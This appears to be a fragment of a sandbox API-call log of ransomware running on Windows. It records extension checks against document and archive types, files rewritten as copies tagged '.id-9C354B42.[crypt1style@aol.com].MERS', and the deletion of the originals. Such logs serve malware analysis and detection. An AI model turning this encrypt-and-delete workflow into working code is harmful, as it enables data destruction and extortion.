[0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.854] lstrlenW (lpString=".doc") returned 4 [0258.854] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.854] lstrlenW (lpString=".docx") returned 5 [0258.854] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0258.854] lstrlenW (lpString=".pdf") returned 4 [0258.854] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.854] lstrlenW (lpString=".xls") returned 4 [0258.854] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.854] lstrlenW (lpString=".xlsx") returned 5 [0258.854] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0258.854] lstrlenW (lpString=".ppt") returned 4 [0258.854] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.854] lstrlenW (lpString=".zip") returned 4 [0258.855] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.855] lstrlenW (lpString=".rar") returned 4 [0258.855] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.855] lstrlenW (lpString=".bz2") returned 4 [0258.855] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.855] lstrlenW (lpString=".7z") returned 3 [0258.855] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.855] lstrlenW (lpString=".dbf") returned 4 [0258.855] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.855] lstrlenW (lpString=".1cd") returned 4 [0258.855] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.855] lstrlenW (lpString=".jpg") returned 4 [0258.855] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.855] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0258.855] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0258.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.856] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3981) returned 1 [0258.856] CloseHandle (hObject=0x318) returned 1 [0258.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0258.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.856] lstrlenW (lpString=".doc") returned 4 [0258.856] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.856] lstrlenW (lpString=".docx") returned 5 [0258.856] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0258.856] lstrlenW (lpString=".pdf") returned 4 [0258.856] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.856] lstrlenW (lpString=".xls") returned 4 [0258.856] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.856] lstrlenW (lpString=".xlsx") returned 5 [0258.856] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0258.856] lstrlenW (lpString=".ppt") returned 4 [0258.856] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.856] lstrlenW (lpString=".zip") returned 4 [0258.856] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.856] lstrlenW (lpString=".rar") returned 4 [0258.856] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.856] lstrlenW (lpString=".bz2") returned 4 [0258.856] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.856] lstrlenW (lpString=".7z") returned 3 [0258.857] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString=".dbf") returned 4 [0258.857] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString=".1cd") returned 4 [0258.857] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString=".jpg") returned 4 [0258.857] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString=".doc") returned 4 [0258.857] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.857] lstrlenW (lpString=".docx") returned 5 [0258.857] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0258.857] lstrlenW (lpString=".pdf") returned 4 [0258.857] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.857] lstrlenW (lpString=".xls") returned 4 [0258.857] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.857] lstrlenW (lpString=".xlsx") returned 5 [0258.857] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0258.857] lstrlenW (lpString=".ppt") returned 4 [0258.857] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.857] lstrlenW (lpString=".zip") returned 4 [0258.857] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.857] lstrlenW (lpString=".rar") returned 4 [0258.857] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.858] lstrlenW (lpString=".bz2") returned 4 [0258.858] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.858] lstrlenW (lpString=".7z") returned 3 [0258.858] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.858] lstrlenW (lpString=".dbf") returned 4 [0258.858] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.858] lstrlenW (lpString=".1cd") returned 4 [0258.858] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0258.858] lstrlenW (lpString=".jpg") returned 4 [0258.858] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.858] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0258.858] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0258.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.859] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=5115) returned 1 [0258.859] CloseHandle (hObject=0x318) returned 1 [0258.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0258.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.859] lstrlenW (lpString=".doc") returned 4 [0258.859] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.859] lstrlenW (lpString=".docx") returned 5 [0258.859] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0258.859] lstrlenW (lpString=".pdf") returned 4 [0258.859] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.859] lstrlenW (lpString=".xls") returned 4 [0258.859] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.859] lstrlenW (lpString=".xlsx") returned 5 [0258.859] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0258.859] lstrlenW (lpString=".ppt") returned 4 [0258.859] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.859] lstrlenW (lpString=".zip") returned 4 [0258.859] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.859] lstrlenW (lpString=".rar") returned 4 [0258.859] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.859] lstrlenW (lpString=".bz2") returned 4 [0258.859] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.859] lstrlenW (lpString=".7z") returned 3 [0258.860] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString=".dbf") returned 4 [0258.860] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString=".1cd") returned 4 [0258.860] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString=".jpg") returned 4 [0258.860] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString=".doc") returned 4 [0258.860] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.860] lstrlenW (lpString=".docx") returned 5 [0258.860] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0258.860] lstrlenW (lpString=".pdf") returned 4 [0258.860] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.860] lstrlenW (lpString=".xls") returned 4 [0258.860] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.860] lstrlenW (lpString=".xlsx") returned 5 [0258.860] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0258.860] lstrlenW (lpString=".ppt") returned 4 [0258.860] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.860] lstrlenW (lpString=".zip") returned 4 [0258.860] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.860] lstrlenW (lpString=".rar") returned 4 [0258.860] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.860] lstrlenW (lpString=".bz2") returned 4 [0258.861] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.861] lstrlenW (lpString=".7z") returned 3 [0258.861] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.861] lstrlenW (lpString=".dbf") returned 4 [0258.861] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.861] lstrlenW (lpString=".1cd") returned 4 [0258.861] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0258.861] lstrlenW (lpString=".jpg") returned 4 [0258.861] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.861] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0258.861] lstrlenW (lpString="Psychedelic.jpg") returned 15 [0258.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.864] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=14049) returned 1 [0258.864] CloseHandle (hObject=0x318) returned 1 [0258.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0258.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.864] lstrlenW (lpString=".doc") returned 4 [0258.864] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.864] lstrlenW (lpString=".docx") returned 5 [0258.864] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0258.864] lstrlenW (lpString=".pdf") returned 4 [0258.864] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.864] lstrlenW (lpString=".xls") returned 4 [0258.864] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.864] lstrlenW (lpString=".xlsx") returned 5 [0258.864] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0258.864] lstrlenW (lpString=".ppt") returned 4 [0258.864] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.864] lstrlenW (lpString=".zip") returned 4 [0258.864] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.864] lstrlenW (lpString=".rar") returned 4 [0258.864] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.864] lstrlenW (lpString=".bz2") returned 4 [0258.864] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.865] lstrlenW (lpString=".7z") returned 3 [0258.865] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.865] lstrlenW (lpString=".dbf") returned 4 [0258.865] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.865] lstrlenW (lpString=".1cd") returned 4 [0258.865] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.865] lstrlenW (lpString=".jpg") returned 4 [0258.865] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.865] lstrlenW (lpString=".doc") returned 4 [0258.865] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.865] lstrlenW (lpString=".docx") returned 5 [0258.865] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0258.865] lstrlenW (lpString=".pdf") returned 4 [0258.865] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.865] lstrlenW (lpString=".xls") returned 4 [0258.865] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.865] lstrlenW (lpString=".xlsx") returned 5 [0258.865] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0258.865] lstrlenW (lpString=".ppt") returned 4 [0258.865] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.866] lstrlenW (lpString=".zip") returned 4 [0258.866] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.866] lstrlenW (lpString=".rar") returned 4 [0258.866] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.866] lstrlenW (lpString=".bz2") returned 4 [0258.866] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.866] lstrlenW (lpString=".7z") returned 3 [0258.866] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.866] lstrlenW (lpString=".dbf") returned 4 [0258.866] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.866] lstrlenW (lpString=".1cd") returned 4 [0258.866] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0258.866] lstrlenW (lpString=".jpg") returned 4 [0258.866] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.866] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0258.866] lstrlenW (lpString="Roses.htm") returned 9 [0258.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.867] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=233) returned 1 [0258.867] CloseHandle (hObject=0x318) returned 1 [0258.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0258.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0258.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0258.867] lstrlenW (lpString=".doc") returned 4 [0258.868] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0258.868] lstrlenW (lpString=".docx") returned 5 [0258.868] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0258.868] lstrlenW (lpString=".pdf") returned 4 [0258.868] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0258.868] lstrlenW (lpString=".xls") returned 4 [0258.868] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0258.868] lstrlenW (lpString=".xlsx") returned 5 [0258.868] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0258.868] lstrlenW (lpString=".ppt") returned 4 [0258.868] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0258.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0258.868] lstrlenW (lpString=".zip") returned 4 [0258.868] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0258.868] lstrlenW (lpString=".rar") returned 4 [0258.868] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0258.868] lstrlenW (lpString=".bz2") returned 4 [0258.868] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0258.868] lstrlenW (lpString=".7z") returned 3 [0258.868] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0258.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0258.868] lstrlenW (lpString=".dbf") returned 4 [0258.869] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0259.828] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0259.828] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0259.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0260.041] GetLastError () returned 0x0 [0260.042] ReadFile (in: hFile=0x388, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x4360, lpOverlapped=0x0) returned 1 [0260.131] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x4370, lpOverlapped=0x0) returned 1 [0260.132] ReadFile (in: hFile=0x388, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0260.132] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xe4, lpOverlapped=0x0) returned 1 [0260.132] SetEndOfFile (hFile=0x3ac) returned 1 [0260.132] CloseHandle (hObject=0x3ac) returned 1 [0260.133] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.133] SetEndOfFile (hFile=0x388) returned 1 [0260.214] CloseHandle (hObject=0x388) returned 1 [0260.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0260.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.302] lstrlenW (lpString=".doc") returned 4 [0260.302] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.302] lstrlenW (lpString=".docx") returned 5 [0260.302] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.302] lstrlenW (lpString=".pdf") returned 4 [0260.302] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.302] lstrlenW (lpString=".xls") returned 4 [0260.302] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.302] lstrlenW (lpString=".xlsx") returned 5 [0260.302] 